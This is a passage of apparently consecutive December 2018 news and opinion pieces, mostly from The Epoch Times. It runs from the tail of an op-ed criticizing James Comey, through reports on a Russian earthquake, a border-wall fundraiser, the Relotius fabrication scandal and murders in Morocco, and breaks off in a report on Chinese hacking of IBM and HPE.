other words, he is and has been a Democrat. Comey had no right heading the FBI at any time, but especially after his mind exploded! Comey, a longtime Republican, renounced his party earlier this year and now offers campaign advice to Democrats. In late July, Comey wrote the following on Twitter: Democrats, please, please dont lose your minds and rush to the socialist left. This president and his Republican Party are counting on you to do exactly that. Americas great middle wants sensible, balanced, ethical leadership. Comey likes to talk about ethics and leadership. His recent book, A Higher Loyalty: Truth, Lies, and Leadership, is the exact kind of roundabout self-promotion that disgusts his former colleagues. The insider-account book was based on FBI memos and experiences and Comey bagged more than $2 million in advance. Indeed, Comey has worked very hard for many years to cultivate an image of being an upstanding, moral individuala boy scout of a man who speaks truth to power. That image is a sham. We now know that under then-Director Comeys direction, the FBI and the DOJ submitted a politically motivated dossier as probable cause to obtain a secret 2016 FISA surveillance warrant to spy on a presidential campaign. To this day, Comey denies knowing that the dossier was Clinton-funded and his weaponization of FBI spy tools like FISA against a presidential target appears unprecedented. However, precedents allowing such weaponization have been long in the making, thanks in large part to none other than James Comey and his mentor, Robert Mueller. 1. Comeys net worth skyrocketed over 4,000 percent after working for a major spy contractor who paid him $6.1 million in a single year. Comey conveniently neglects to mention that shortly after he challenged (read: changed) the legal status of domestic surveillance, he cashed in at the largest spy and defense contractor in history: Lockheed Martin. As Deputy Attorney General, Comeys net worth was $206,000 in 2003. Shortly before leaving the DOJ, Comey conveniently pushed for changes to the surveillance rules (resulting in a legal loophole) and then found a lofty position in 2005 at Lockheed Martin. Comey amassed well over $10 million before he returned to government service in 2013. While cashing in with the private sector, Comey advised the same surveillance contractor that the FBI and other intelligence agencies pay billions to. In return, Lockheed Martin received a billion-dollar surveillance contract from Muellers FBI. Comeys current net worth ballooned 4,250 percent since 2003, and this does not even account for his $3 million Connecticut home (which he sold in 2017, at a loss). In one year alone, Comey received $6.1 million from Lockheed Martin. 2. Comey favors spying on Americans and has advocated mass surveillance for many years. In his 2003 Senate confirmation hearing, Comey lauded the controversial use of warrantless domestic surveillance. Comey has time and again praised intrusive legislation like the PATRIOT Act and FISA, which allow intelligence agencies to obtain, collect, and store private citizens data, ostensibly to protect against terrorists (2003, 2004, June 2005, July 2005, 2013, 2015, 2016, 2017). Part of Comeys carefully crafted persona involves a 2004 incident where he (and pal Mueller) reportedly defied the Bush administrations collection of private citizen communications. Comey recalls the confrontation (where he compelled President George W. Bushs hospital-stricken Attorney General, John Ashcroft, to effectively end a post-9/11 spy program) as an example of him standing up to the surveillance state. There is just one problem with the story: the Bush administration did not stop spying on private citizens and the Obama administration even expanded the Bush-era programs. 3. Muellers FBI granted Comeys private-sector employer multiple hundred-million-dollar contracts, including a $1 billion contract that has been called a boondoggle. While Comey worked in the private sector collecting his millions, then-FBI Director Mueller granted hundred-million-dollar contracts to Comeys employer, Lockheed Martin. These contracts included a $425 million program called Sentinel and a controversial $1 billion biometric surveillance program called the Next Generation Identification (NGI) system, which Lockheed developed using facial recognition technologies. These were a significant step up from Lockheeds previous major FBI biometric contract, the Automated Fingerprint Identification System (AFIS). IBM protested the NGI award to Lockheed for undisclosed reasons and civil liberties groups have criticized it because the program compromises citizens privacy and is susceptible to a wide margin of error. Plagued by delays and cost overruns, numerous DOJ Inspector General audits criticized the Lockheed programs for their inestimable failures and the NGI program has been called a $1 billion boondoggle. 4. The section chief of the FBIs surveillance unit warned Comey that warrantless spy programs are: (1.) a huge waste of time and money; (2.) ripe for potential abuses; and (3.) largely ineffective in catching terrorists. Comey ignored the warning and expanded the programs anyway. In a 2018 interview, top-level FBI whistleblower Bassem Youssef emphasized that the expanded surveillance systems were vulnerable to severe abuse. He voiced these concerns to FBI Deputy Andrew McCabe in 2012, who attempted to silence criticisms of the programs and ignored Youssefs warnings and recommendations. And when Youssef warned Comey in 2014 of potential system abuse, he was ignored yet again. Youssef also disclosed that only one terrorist plot was disrupted in the twelve years that his team conducted this surveillance. 5. Comey and Mueller have a long history of prosecutorial failures, missteps, and downright abuse. In 2001, then-FBI Director Mueller and Comey aggressively targeted an innocent U.S. Army scientist, Steven Hatfill, for the anthrax scare. According to President Bushs Deputy Secretary of Defense, Paul Wolfowitz, Comey was absolutely certain that Hatfill was guilty of the anthrax letter scare. The FBI then used bumper locking, a type of surveillance using an ever-present spy van, to monitor Hatfill. One time, the van ran over Hatfills foot, for which he was fined. The FBI also leaked information to the press in an apparent smear campaign. Hatfill was eventually exonerated on Aug. 26, 2003, and received a taxpayer-funded settlement of nearly $6 million. Comey and Mueller have numerous similar stories of prosecutorial failures and manipulation, which are detailed extensively in my recent book, Compromised. Shortly after the hearing last week, Comey was back in front of the cameras. He gave an interview at the 92nd Street Y in New York City and admitted that he did not follow protocols during the FBIs questioning of former Trump official Lt. Gen. Michael Flynn. Comey admitted sending FBI agents into the White House to question Flynnwhich Comey acknowledged was something he probably would not have gotten away with. This bombshell comes amid reports that Comeys FBI entrapped Flynn as agents did not tell Flynn his answers could have consequences and urged Flynn not to have a lawyer present so that he would feel relaxed. The primary question that my book Compromised seeks to answer is Why would top FBI and DOJ officials with so much to loselike James Comeyrisk everything to take out a duly elected president? The answer to that question is simple: They had much to hide and interests to protect. Seamus Bruner is the associate director of research at the Government Accountability Institute and author of Compromised: How Money and Politics Drive FBI Corruption. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. 7.4 Magnitude Earthquake Hits Off Eastern Russia, Tsunami Warning Issued A 7.4 magnitude earthquake hit off the coast of Russias east coast early on Friday local time, triggering a tsunami warning in the region. The Pacific Tsunami Warning Center said that dangerous waves are possible for coasts located within 185 miles (300 kilometers) of the epicenter of the quake. It added that people in coastal areas should stay alert for information and follow instructions from national and local authorities. The tsunami waves could start arriving at Ust-Kamchatsk by 17:25 UTC and Medny Island by 17:36 UTC, according to the agency. The U.S. Geological Survey (USGS) said the earthquake hit about five miles deep and struck before 5 a.m local time about 50 miles west of Nikolskoye. Theres no tsunami danger for the U.S. West Coast, British Columbia, or Alaska, said the Pacific Tsunami Warning Center, according to a tweet. Tsunami Info Stmt: M7.3 050mi SW Bering I., Komandorski 0902PST Dec 20: Tsunami NOT expected; CA,OR,WA,BC,and AK #NTWC NWS Tsunami Alerts (@NWS_NTWC) December 20, 2018 A 5.6 magnitude aftershock hit the area just minutes after the 7.4 magnitude earthquake. Several 5.0 magnitude earthquakes also hit, according to the USGS. Another alert from the Warning Center added the Ostrov Karagins and Petropavlovsk areas to the list of threatened areas, saying that one foot to three feet of waves could be expected. Its not clear if there were any reports of damage or injuries associated with the quake or tsunami. Earlier this year, an earthquake-triggered tsunami devastated parts of Indonesia, killing hundreds of people. Ring of Fire Eastern Russia lies on the Pacific Ring of Fire and is earthquake-prone. The Ring of Fire, which encircles the entire Pacific Ocean basin, accounts for the vast majority of the worlds earthquakes and active volcanoes. The Ring of Fire isnt quite a circular ring. It is shaped more like a 25,000-mile horseshoe. A string of 452 volcanoes stretches from the southern tip of South America, up along the coast of North America, across the Bering Strait, down through Japan, and into New Zealand. Several active and dormant volcanoes in Antarctica, however, close the ring, according to National Geographic. In September 1923, an 8.3 magnitude earthquake in Japan killed 142,000 people and devastated Tokyo and other cities. The initial jolt was followed a few minutes later by a 40-foot-high tsunami. A series of towering waves swept away thousands of people, says Smithsonian Magazine. An earthquake is caused by a sudden slip on a fault, the USGS says on its website. The tectonic plates are always slowly moving, but they get stuck at their edges due to friction. When the stress on the edge overcomes the friction, there is an earthquake that releases energy in waves that travel through the earths crust and cause the shaking that we feel. But researchers say that neither the USGS nor any other seismic-monitoring agencies have ever been able to predict a major earthquake. We do not know how, and we do not expect to know how any time in the foreseeable future, the USGS writes. Scientists have tried many different ways of predicting earthquakes, but none have been successful, the USGS writes. On any particular fault, scientists know there will be another earthquake sometime in the future, but they have no way of telling when it will happen. Border Patrol guards the fence at the U.S.-Mexico border in Nogales, Ariz., on May 23, 2018. (Samira Bouaou/The Epoch Times) Air Force Veteran Raises Millions for Border Wall as Public Signals Support An Air Force veteran who lost three limbs said he was inspired to raise money for the border wall championed by President Donald Trump and launched a fundraiser on GoFundMe. Brian Kolfages campaign, We The People Will Fund The Wall, has received nearly $4 million after just three days. Its goal is listed as $1 billion and Kolfage said he wants the fundraiser to bring in even more for Trumps wall. The government has accepted large private donations before, most recently a billionaire donated $7.5 Million to fund half of the Washington Monument repairs in 2012; this is no different, Kolfage wrote. Like a majority of those American citizens who voted to elect President Donald J Trump, we voted for him to Make America Great Again. President Trumps main campaign promise was to BUILD THE WALL. And as hes followed through on just about every promise so far, this wall project needs to be completed still. Kolfage said the violence perpetrated by illegal aliens prompted him to act. As a veteran who has given so much, 3 limbs, I feel deeply invested to this nation to ensure future generations have everything we have today. Too many Americans have been murdered by illegal aliens and too many illegals are taking advantage of the United States taxpayers with no means of ever contributing to our society, he wrote. I have grandparents who immigrated to America legally, they did it the correct way and its time we uphold our laws, and get this wall BUILT! Its up to Americans to help out and pitch in to get this project rolling. If each person who voted for Trump contributes $80 then that would equal $5 billion, Kolfage said. The wall is estimated to cost $24 billion. He said he was inspired by a New York Post op-ed that questioned why no one had launched a fundraiser for the wall. If Congress wont secure the borders, then it is necessary for the public to step in. It would be a modern and critical twist on the Founders ideal of self-government, wrote Michael Goodwin in the op-ed. Another $161,123 has been raised so far through an earlier fundraiser launched by a nonprofit The American Border Foundation. A number of people said in a telephone and online survey recently that they were willing to privately contribute to build the border wall. Rasmussen Reports said that 34 percent of Republicans said they would contribute, along with 21 percent of independents and 10 percent of Democrats. Of those, 19 percent said theyd be willing to pay an extra $100 a year in taxes, and 19 percent said theyd be willing to pay an extra $300 a year in taxes; 2 percent said they would pay more than $1,000 a year in extra taxes each year to help pay for the wall. A slight majority of respondents, 52 percent, said that illegal immigrants are straining the United States budget and 45 percent said that illegal immigration increases the level of serious crime in the country. A Quinnipiac University poll released on Dec. 18 found the highest support for the wall since it began asking about it in November 2016, with 43 percent of respondents supporting it. Kolfages Story According to his website, Kolfage was on his second deployment for Operation Iraqi Freedom in 2004 when the air base he was working in was attacked by a rocket. A shell exploded several feet away and he eventually lost both his legs and his left arm. His biography says that till this day he is still the most severely wounded Airman to survive any war. After being discharged, Kolfage graduated from the University of Arizonas School of Architecture and works as a motivational speaker. He often visits wounded soldiers at Walter Reed, where he was treated, and has two children with his wife. From NTD News Aude Odeh, an english teacher at Barry Goldwater High School, cheers in support of the #REDforED movement during a rally in front of the State Capitol in Phoenix, Arizona on April 26, 2018. (Ralph Freso/Getty Images) Arizona Bill Would Forbid Teachers From Talking Politics and Religion A proposed bill in Arizona would ban teachers from discussing politics in the classroom. If teachers ignored the ban, they could be fired. HB 2002 (pdf) was pre-filed on Dec. 14, ahead of the 2019 legislative session. The bill states that the Arizona Board of Education should adopt rules providing for an educator code of ethics. Along with political messages, the proposed ethics code in the bill would also forbid the spread of religious messages. Teachers would be banned from endorsing, supporting, or opposing any legislation, rule, or regulation, whether pending, proposed, or enacted. The ban would include federal, state, and local rules. If a controversial issue arises during the teaching of a subject, teachers would have to provide students with materials supporting both sides and present those views in a fair-minded and nonpartisan manner, according to the legislation. Teachers would also be forbidden from segregating students according to race or single out one racial group as being responsible for the suffering experienced by another racial group. The bill was introduced by Rep. Mark Finchem, a Republican. Marisol Garcia, vice president of the Arizona Education Association, the state teachers union, called the bill a stunt. Its disappointing that a legislator would choose to do this at the beginning of the session, she told the Arizona Republic. Noah Karvelis, a Red For Ed organizer and elementary music teacher, also slammed the bill, saying it was redundant and addressed a problem that didnt exist. It seems to be the same regulations that we have really always followed, Karvelis told ABC 15. We dont have teachers who are in their pushing ideologies on students in the way that I think people maybe are imagining. Red for Ed is a campaign to get more funding for teachers and schools and has included teacher strikes. Finchem said that the legislation stemmed from conversations he had with a number of upset parents who had called him. In one case, a math teacher frequently bashed President Donald Trump, one parent told him. Another parent told him their 6-year-old child came home crying because students were told they had to wear a red shirt to support their teacher. Im sure that the vast majority of teachers dont participate in promoting political ideology, he said. It only takes one or two people to give an entire profession a bad name. State law already prohibits teachers and anyone else employed by a school or school district from using public resources to influence the outcome of an election, but Finchem said the conversations showed him that a code of ethics was necessary. If you step into a classroom with a Trump T-shirt, a Hillary T-shirt, a Vote No on 126 T-shirt, youre engaging in political speech in the classroom, Finchem said. If theres a political agenda behind it, leave it at home. Simple request. From NTD News Denmark Urges No Clemency for Bankers Detained in Danske Scandal As the first bankers in Europes biggest money laundering scandal get detained by police, the political demand is for a tough response targeting the perpetrators. A total of 10 former employees of Danske Bank A/S in Estonia were apprehended over the course of Dec. 18 & 19. Estonian prosecutors suspect they deliberately helped criminals from the former Soviet Union launder money, for personal gain. In Denmark, where Danske is the biggest bank, the government made clear its not in favor of clemency. Its very important to come down hard on this case, Danish Business Minister Rasmus Jarlov told Bloomberg. Its absolutely essential that we ensure that committing economic crimes comes at a cost. Danske Banks dirty money saga offends ones sense of justice and peoples confidence in the financial industry, Jarlov said. The minister, who oversees bank legislation in Denmark, has already made clear he thinks theres evidence that illegal acts were committed in the Danske case. There are few banks that appear to have been as central to the flows of suspicious funds from the former Soviet Union and into the West as Danske. Between 2007 and 2015, much of about $230 billion that gushed through a tiny Estonian branch was probably suspicious in origin, Danskes management in Copenhagen admitted in September. Tax Evaders, Embezzlers The bank is under criminal investigation by the U.S. Justice Department and may face significant fines. Its stock has plunged more than 40 percent this year as investors panic. Thats equivalent to over $15 billion in lost market value. Tax evaders and embezzlers from Georgia and Azerbaijan are among the criminals to have turned to Danske to handle their dirty money, according to evidence cited by Estonian prosecutors on Dec. 19. They say its highly likely there are more suspects related to the case than the 10 apprehended this week. Prosecutors also say they have other leads, as they stay in contact with authorities in the U.S. and elsewhere. Its paramount, as far as a sense of justice is concerned, that this case be investigated to the very end and that there are consequences, Jarlov said. People who commit financial crimes have to be held accountable. Jail Time The minister has been an outspoken advocate of not shying away from jail time when it comes to white-collar crime. This year, Denmark significantly tightened its anti-money laundering laws, including raising fines by 700 percent and adding potential prison sentences for executives to the list of new measures. In Estonia, lawmakers are debating much higher fines for banks that misbehave, including rules allowing the authorities to seize assets. Meanwhile, across the industry banks are building better compliance tools to catch wrongdoing. Estonian authorities said they were able to piece together a full investigation in large part thanks to the reporting that was led by the Berlingske newspaper, and to documents provided by Hermitage Capital Founder Bill Browder. The financier, who has made a career of chasing the dirty money flows that followed the 2009 death of his colleague, Sergei Magnitsky, has said the Danske case is just one part of a bigger puzzle. By Peter Levring & Ott Ummelas From Bloomberg Astronauts Return Safely to Earth From Space Station Three members of the International Space Stations crew returned safely to Earth on Dec. 20, landing in Kazakhstan on a Russian Soyuz craft, NASA reported. It was the first return from the space station since October, when U.S. astronaut Nick Hague and Russian cosmonaut Alexey Ovchinin landed unharmed on the Kazakh steppe after their rocket bound for the station failed two minutes after liftoff. NASA astronaut Serena Aunon-Chancellor landed along with her German crewmate Alexander Gerst of the European Space Agency (ESA) and Russian cosmonaut Sergey Prokopyev at 11:02 a.m. local time, NASA said in a blog post. Aunon-Chancellor had been in space for 197 days and contributed to hundreds of scientific experiments aboard the orbiting space station. NASA has relied on Russian rockets to ferry astronauts to the space station since the United States retired its Space Shuttle program in 2011, though the agency has announced plans for test flights carrying two astronauts on commercial rockets made by Boeing and SpaceX next April. The crew were reported to be in good condition and Aunon-Chancellor is expected to return home to Houston following medical checks, NASA said. The October accident was the first serious launch problem experienced by a crewed Soyuz space mission since 1983, when a crew narrowly escaped before a launchpad explosion. Three crew remain on the station: NASAs Anne McClain, David Saint-Jacques of the Canadian Space Agency, and Russias Oleg Kononenko. Three additional crew will join them in February. By Rich McKay Australia Leads Way in Fight Against Orphanage Trafficking New law highlights dark side of do good tourism SYDNEYAustralia has just become the first nation in the world to recognize that the trafficking of children into orphanages is a form of modern slavery. Passed last month, the Modern Slavery Bill also focuses on the role that tourists who support orphanages unwittingly play in enabling child abuse and exploitation. The legislation, which comes into effect on Jan. 1, requires large travel companies, educational institutions, and other entities to publish reports on what they do to assess and address modern slavery risks in their supply chains, including orphanages. About 80 percent of the 8 million children in orphanages worldwide actually have at least one living parent. But in some countries, families can be persuaded to hand over their kids to orphanages with promises of food, education, or medical care. While caring for children in institutions is regarded as a thing of the past in places such as Australia and the United States, orphanage numbers have been on the rise in several poorer nations, such as Uganda, Nepal, and Indonesia. Overseas Funding Tourists who fund these places, by making donations or paying to volunteer their services, think theyre making a positive contribution. They may unwittingly be perpetuating what Australian Sen. Linda Reynolds has described as the perfect 21st-century scam. Many orphanages use children to raise money by performing shows or interacting with visitors. Few have child protection policies and procedures, and visitors have unfettered access to vulnerable kids. Children are often forced to work and are abused in other ways. Orphanages in Cambodia are all foreign-funded. A 2017 Australian parliamentary inquiry that led to the Modern Slavery Bill heard the harrowing story of a Cambodian woman named Sinet Chan, who was placed in an orphanage after her parents died when she was 9 years old. The orphanage got its funding from the tourists, and when the tourists came we need to perform for them to make them happy like singing a song, playing a game, learning English and Japanese, she told the inquiry. Sometimes [tthe tourists] would buy us some clothes or food, but we were not allowed to keep them. The director of the orphanage would take them back to the market and sell everything. At the time, performing felt like working, for me. We were also forced to work at the directors rice field and at his fish farm. Chan told the inquiry that she was sexually abused, that the orphanage provided no drinking water or medication, and that food was scarce. Often, we would catch mice to eat, she said. I used to like it when volunteers came to the orphanage; they would play with us and sometimes buy us some food. But it was even more terrible when they left every time. It felt like we were being abandoned. Chan is now an ambassador for Cambodia Childrens Trust (CCT). It was founded by Australian Tara Winkler, who rescued Chan from the orphanage in 2007. CCT now works to return children in orphanages to their family or place them in the care of other families. Exploitation of children in orphanages doesnt just relate to the corrupt orphanages because children are harmed in all orphanages, in all forms of institutional care, Winkler told the Australian inquiry. Over 60 years of international research has shown us that children who grow up in institutions, even the very best institutions, are at serious risk of developing mental illnesses, attachment disorders, growth and speech delays, and many will struggle to reintegrate back into society later in life. CCT is part of a network called ReThink Orphanages, founded by another Australian, Leigh Mathews. The network has been helping companies such as Projects Abroad, Intrepid Travel, and World Challenge withdraw from the orphanage tourism business. [Id also] like to see how [nations such as Australia] look at supporting countries where this is an enormous problem and acknowledge we have been a big part of creating it and perpetuating it, and what can we do to support government in-country to implement policy and regulation around how they can address this, Mathews said. Volunteer tourism has become increasingly popular in recent decades with people looking to enhance their travel experience by doing some good. Its a $2 billion industry. Reformed voluntourist and New York-based writer Pippa Biddle is an incisive critic of voluntourism, including where it involves orphanages. You have adventure you have your own development, you have self-gratification, and you have this weird thing called giving back, she said. [But] the reality is, change is not visible in a day or a week or year in the period of our weekend or a holiday, or summer break. She says that kind of short attention span can result in overlooking harm that may be caused. And, in this case, the action is endangering children. Tackling the Issue The Australian legislation only applies to organizations with an annual turnover of at least $100 million and does not include penalties for noncompliance with reporting requirements. These limitations will be reviewed in three years. It remains to be seen what real impact the new law might have. Mathews considers it an enormous step forward, but says theres much more to be done. She would like to see, for example, government policies to say schools and universities should not visit or fundraise for orphanages, and regulatory mechanisms to stem the flow of money, people, and resources out of a country into overseas institutions. Australia is, nevertheless, at the forefront of efforts to protect children from exploitation in orphanages and to educate tourists. A government-sponsored Smart Volunteering campaign earlier this year reached a large audience. It has been impressive to see how much of the research about issues of voluntourism more broadly, and orphanage tourism, has come out of Australia, said Biddle. There is clearly a very active conversation its got attention. This is not a conversation in the United States. There is a debate around volunteering, but its not nearly in the same place. ReThink Orphanages has recently established hubs in Europe and North America to continue to raise awareness of the issue. Testimonies from former orphanage residents, such as Chan, add a powerful voice to the discussion. It is not easy for me to tell this story, but I dont want you to feel sorry for me, Chan told the Australian inquiry. It is important for people to know about the abuse and exploitation in orphanages. I would like to urge people to stop supporting, donating, or volunteering at the orphanage. Your kindness and generosity can help solve this problem if you have organizations where people are supported to stay with their families. Thank you. Award-Winning German Journalist Who Covered Trumps America Fired for Faking News LONDONAn award-winning journalist has been fired from a German news magazine for fabricating stories over several years, including making up characters, quotes, and dialogue on a grand scale. Der Spiegel on Dec. 19 was forced to write an expose on its own journalist and editor, Claas Relotius. The weekly publication admitted he had committed deception intentionally, methodically, and with criminal intent, affecting at least 14 of his 60 articles. Relotius was just 28 when he won CNNs Journalist of the Year in 2014, for a feature about the U.S. prison system (he didnt work for CNN and never had anything published on CNN platforms). He went on to win several more awards, including for stories now revealed as forgeries. Some of the fakes are about the United States, including topics such as the U.S. detention facility at Guantanamo Bay, executions, Trumps America, and most recently, a piece on U.S.-Mexico border vigilantes. Relotius had already raised hackles in the town of Fergus Falls, Minnesota, with his artful depiction of rural America in the wake of the Trump election, subtitled, One month among the people who pray for Donald Trump on Sundays. The article, published in Der Spiegel in 2017, included a description of a sign at the city limits that read, Mexicans Keep Out. But, like some of the people who featured in the story, the sign didnt exist. Undone in America Theres so little in the story thats factual, City Administrator Andrew Bremseth, who was featured extensively in the article, told the Star Tribune. There were people he totally created. Relotius, 33, ignored the complaints from the people of Fergus Falls. He finally was caught this fall, when fellow reporter Juan Moreno turned undercover investigator after suspecting that Relotius made up quotes for a co-written feature on vigilantes on the U.S.-Mexico border called Jaegers Border. Moreno headed back out on assignment with Relotius with a special assignment of his own: to gather evidence. Things began to unravel for Relotius on Dec. 3, just 17 hours before he scooped up a 2018 reporting prize for an article on a Syrian boy he claimed had been central to events that lit the conflict in the region. Thats one of the pieces he admitted to faking. A spokesperson for the vigilante group had sent an email questioning his reporting on Jaegers Border, prompting Moreno to come forward with his evidence. Relotius initially denied the allegations, then tried to undermine Morenos credibility. Relotius finally confessed at the end of last week, Der Spiegel said on Dec. 19. It has emerged that he invented entire passagesnot only in the article Jaegers Border, but also in a number of other articles. For example, he included individuals in his stories who he had never met or spoken to, telling their stories or quoting them. Instead, he would reveal, he based the depictions on other media or video recordings. By doing so, he created composite characters of people who actually did exist but whose stories Relotius had fabricated. He also made up dialogue and quotes. Gaming the Fact-Checking Der Spiegel is home to one of the largest fact-checking departments in the world. According to Der Spiegels own analysis, Relotius gamed the fact-checking system to not only hide his fakery, but to also bolster the authenticity of his reports. The German Journalists Union DJU said the case was the biggest fraud scandal in journalism since the Hitler diaries that Germanys Stern magazine published in 1983 and were later found to be forgeries. Some American political and media commentators compared the case to the 2003 revelations about New York Times reporter Jason Blair, who was caught fabricating comments and scenes and lifting material from other newspapers. Relotius has already been stripped of the Peter Scholl-Latour Prize 2018. German Federation of Journalists Chairman Frank Uberall said, The so-called reporter has not only caused much damage to Der Spiegel, but has also thrown the credibility of journalism in the dirt. Maren Ueland of Norway (L), and Louisa Vesterager Jespersen of Denmark, were killed on Dec. 17 while on a camping trip in Morocco. (Private Handout/NTB Scanpix/via Reuters; Facebook) Backpacker Murders in Morocco Were an Act of Terror, Officials Say Denmarks prime minister says the killings of two Scandinavian tourists in Moroccos Atlas Mountains can be considered politically motivated and thus an act of terror. The two female tourists, Louisa Vesterager Jespersen, 24, of Denmark and 28-year-old Maren Ueland of Norway, were killed in an unguarded area in hard to reach mountains, according to the Moroccan prosecutors office. Investigators continue to authenticate a video allegedly posted on social media that shows the womens grisly murders. A man suspected in the killing belongs to a militant group, the prosecutor said on Dec. 19, without identifying the group. The suspect was arrested in Marrakech, Moroccos main tourist hub. Police continue to hunt for the other suspects. We are working to bring before justice three other suspects on the run, said police spokesman Boubker Sabik. Local sources, which were not named in a report by The Sun, said that three homeless men were spotted camping near the two women. Three homeless men came from Marrakech and pitched a tent right next to the girls tent, a hotelier was quoted as saying. The men were not from around here. The men may have stalked the pair, according to The Sun, before attacking them while they slept. Linked to Terrorist Acts The police spokesperson told Agence France-Presse that one of the three suspects had a court record linked to terrorist acts. The same report cited the prosecutor generals office as saying that the man in custody belonged to an extremist group. Radical Islam is not ruled out, due to the profile of the suspect arrested and of the three men wanted, an unnamed source close to the investigation told AFP. Denmarks prime minister Lars Loekke Rasmussen said on Dec. 20 that there are still dark forces that want to fight our values and we must not give in. Morten Bas at the Norwegian Department of Foreign Affairs said that the killings were unlikely to be the work of more established terrorist groups. He told aftenposten.no that he thought the group of men may have been inspired by ISIS or radicalized through the web. What Happened? The two women were on a camping trip when they were brutally murdered. Their bodies were found on Monday, Dec. 17, in an isolated area near Imlil, on the way to Toubkal, North Africas highest peak and a popular hiking destination. The killers filmed the slaying, Fox News reported, citing a Morocco World News report, and a video of the incident is said to be circulating on Moroccan social media, sparking outrage. Efforts are said to be underway to authenticate the footage. Moroccos state broadcaster 2M has released photos and videos of forensic investigators and others working around the womens brightly colored tent on a rocky hillside. The broadcaster said the tent held food and belongings for three people, including an ID card, according to the Telegraph. A local guide who works in the area told AFP the body of one woman was found inside the tent, and the other outside of it. One had been decapitated, Fox News reported, while the other had sustained a serious throat wound. Such a Chaotic Place Helle Jespersen, the womans mother, said she urged her daughter not to go to Morocco. We advised her not to go down because its such a chaotic place, and youve heard of people who have been killed down there, she said, the Telegraph reported. I broke down, Jespersen said. She was always happy and positive. She brought out the best in everyone. The Norwegian Ministry of Foreign Affairs told ABC News that officials from both of the victims home countries have extended assistance to the grieving families. We are in contact with relatives and are providing consular assistance in accordance with established practices and framework for assistance in connection with deaths of Norwegian citizens abroad, the ministry said. Our embassy is in contact with local authorities and representatives from the embassy are present in Marrakech. Impact on Morocco Security was stepped up in the region, Moroccan media said, and hiking was suspended in the wake of the grisly murders. Its very bad for the region, a local guide told AFP. There will undoubtedly be cancelations. Tourism is a core fixture of the Moroccan economy and the countrys second-largest employer. The Oxford Business Group noted tourism in the country in recent years had faced difficulties. Contributing 8.1 percent to GDP and accounting for 7.1 percent of total employment in 2016, tourism evidently holds an important place in Moroccos economy, even though the sector has faced some challenging times. Morocco has been largely insulated from the militant attacks that plagued other countries in North Africa. The latest bomb attack in the country dates back to April 2011 when 17 people were killed in a restaurant in Marrakech. Morocco has stepped up its effort to counter militant groups with the creation in 2015 of its own version of the FBI. The Central Bureau for Judicial Investigations has so far broken up 57 militant cells, including eight in 2018. More than 1,000 Moroccan youths, predominantly from the north of the country, have joined militant groups in the Middle East. Reuters and The Associated Press contributed to this report. A Customs and Border Protection vehicle in the desert in Hidalgo County, Texas, on May 26, 2017. (Benjamin Chasteen/The Epoch Times) Border Patrol Unveils New Mobile Surveillance System That Can See for Miles Border Patrol agents unveiled new technology they plan to start using soon along the southern border of the United States. The new Mobile Video Surveillance Systems features Ford F-150 trucks outfitted with telescoping surveillance towers. The towers can scan the mountains with infrared scopes and help agents detect human and drug smugglers and illegal immigrants. The units can see for miles. The units enable agents to see two pictures at all times, one through a daytime camera and another equipped with infrared. Its game-changer for them, John Moulton, chief technology officer, surveillance, at supplier Benchmark Enterprises, of Angleton, Texas, told Fox 5. One agent who goes on patrol can multiply his vision many, many miles. The units will start using them on Dec. 21. [With] the looming threat of the migrant caravan in Tijuana and more people potentially on the way we need to make sure were prepared for that, Michael Scappechio, a Border Patrol supervisor, told 10 News. He said the units will yield a 90 percent increase in arrests. The units are meant to provide support to the border wall. Border Patrol officials are hoping the technology helps cut down on the number of illegal aliens that are flooding over the border, with 12,000 people arrested in San Diego County this year alone. During fiscal 2017, almost 400,000 people were apprehended along the southwest border after crossing illegallyaveraging out to almost 1,100 per day, reported The Epoch Times. A further 124,500 turned up at ports of entry without documentation. And in the past two months alone, more than 100,000 people have been apprehended for crossing into the United States illegally. Illegal Immigration in the United States Up to 29 million illegal aliens are living in the United States, according to researchers at Yale University. The researchers noted that previous estimates were all based on one survey, and they were able to figure out the true range of illegal immigrants residing in the country. The new approach the researchers used was based on operational data, including deportations and visa overstays. They combined that with demographic data, including death rates and immigration rates. The paper examined data from 1990 to 2016. They said the mean estimate was 22.1 million illegal aliens. According to a 2018 report from the Center for Immigration Studies, births in 2014 to illegal immigrants accounted for 7.5 percent of the births in the United States, or some 297,000. That figure is larger than the total number of births in any state other than California and Texas. The center said the estimated 28,000 births to illegal aliens in the Los Angeles metro area alone is larger than the total number of births in 14 states and the District of Columbia. About 67 percent of illegal aliens who give birth arent insured, leaving taxpayers to foot the bill for the births. The cost for illegal immigrant births was pegged at $2.4 billion. From NTD News The IBM company logo is pictured during the Viva Tech start-up and technology summit in Paris, France on May 25, 2018. (Charles Platiau/Reuters) China Hacked HPE, IBM and then Attacked Clients WASHINGTON/LONDON/SAN FRANCISCOHackers working on behalf of Chinas Ministry of State Security breached the networks of Hewlett Packard Enterprise Co and IBM, then used the access to hack into their clients computers, according to five sources familiar with the attacks. The attacks were part of a Chinese campaign known as Cloudhopper, which the United States and Britain on Dec. 20 said infected technology service providers in order to steal secrets from their clients. While cybersecurity firms and government agencies have issued multiple warnings about the Cloudhopper threat since 2017, they have not disclosed the identity of technology companies whose networks were compromised. International Business Machines Corp said it had no evidence that sensitive corporate data had been compromised. Hewlett Packard Enterprise (HPE) said it could not comment on the Cloudhopper campaign. Businesses and governments are increasingly looking to technology companies known as managed service providers (MSPs) to remotely manage their information technology operations, including servers, storage, networking and help-desk support. Cloudhopper targeted MSPs to access client networks and steal corporate secrets from companies around the globe, according to a U.S. federal indictment of two Chinese nationals unsealed on Thursday. Prosecutors did not identify any of the MSPs that were breached. Both IBM and HPE declined to comment on the specific claims made by the sources. IBM has been aware of the reported attacks and already has taken extensive counter-measures worldwide as part of our continuous efforts to protect the company and our clients against constantly evolving threats, the company said in a statement. We take responsible stewardship of client data very seriously, and have no evidence that sensitive IBM or client data has been compromised by this threat. HPE said in a statement that it had spun out a large managed-services business in a 2017 merger with Computer Sciences Corp that formed a new company, DXC Technology. The security of HPE customer data is our top priority, HPE said. We are unable to comment on the specific details described in the indictment, but HPEs managed services provider business moved to DXC Technology in connection with HPEs divestiture of its Enterprise Services business in 2017. DXC Technology declined to comment, saying in a statement that it does not comment on reports about specific cyber events and hacking groups. Reuters was unable to confirm the names of other breached technology firms or identify any affected clients. The sources, who were not authorized to comment on confidential information gleaned from investigations into the hacks, said that HPE and IBM were not the only prominent technology companies whose networks had been compromised by Cloudhopper. Cloudhopper, which has been targeting technology services providers for several years, infiltrated the networks of HPE and IBM multiple times in breaches that lasted for weeks and 